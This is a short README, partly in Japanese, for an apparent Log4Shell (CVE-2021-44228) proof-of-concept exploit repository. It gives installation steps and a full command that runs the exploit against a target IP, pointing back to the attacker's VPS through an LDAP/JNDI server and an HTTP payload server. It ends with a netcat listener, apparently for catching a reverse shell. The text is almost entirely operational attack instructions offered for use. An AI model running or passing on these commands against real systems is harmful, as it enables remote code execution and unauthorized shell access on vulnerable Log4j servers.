CVE-2021-44228-POC

CVE-2021-44228 のエクスプロイト

nuclei をダウンロード sudo cp nuclei /usr/bin/nuclei
sudo chmod +x /usr/bin/nuclei
git clone https://github.com/sec13b/CVE-2021-44228-POC.git
mv CVE-2021-44228-POC log4shell_exploit

mkdir yaml
mv *.yaml yaml/


実行:

python3 log4shell_exploit.py http://ip_to_exploit --nuclei_path /usr/bin/nuclei /home/ubuntu/log4shell_exploit/yaml/CVE-2021-44228.yaml -i Your_VPS_IP --ldap_jar_path /home/ubuntu/log4shell_exploit/jndi_server.jar --ldap_port 13012 --http_server_path /home/ubuntu/log4shell_exploit/http_server.py --http_port 13013 -o /home/ubuntu/log4shell_exploit/output.json --verbose


nc -lvnp 13012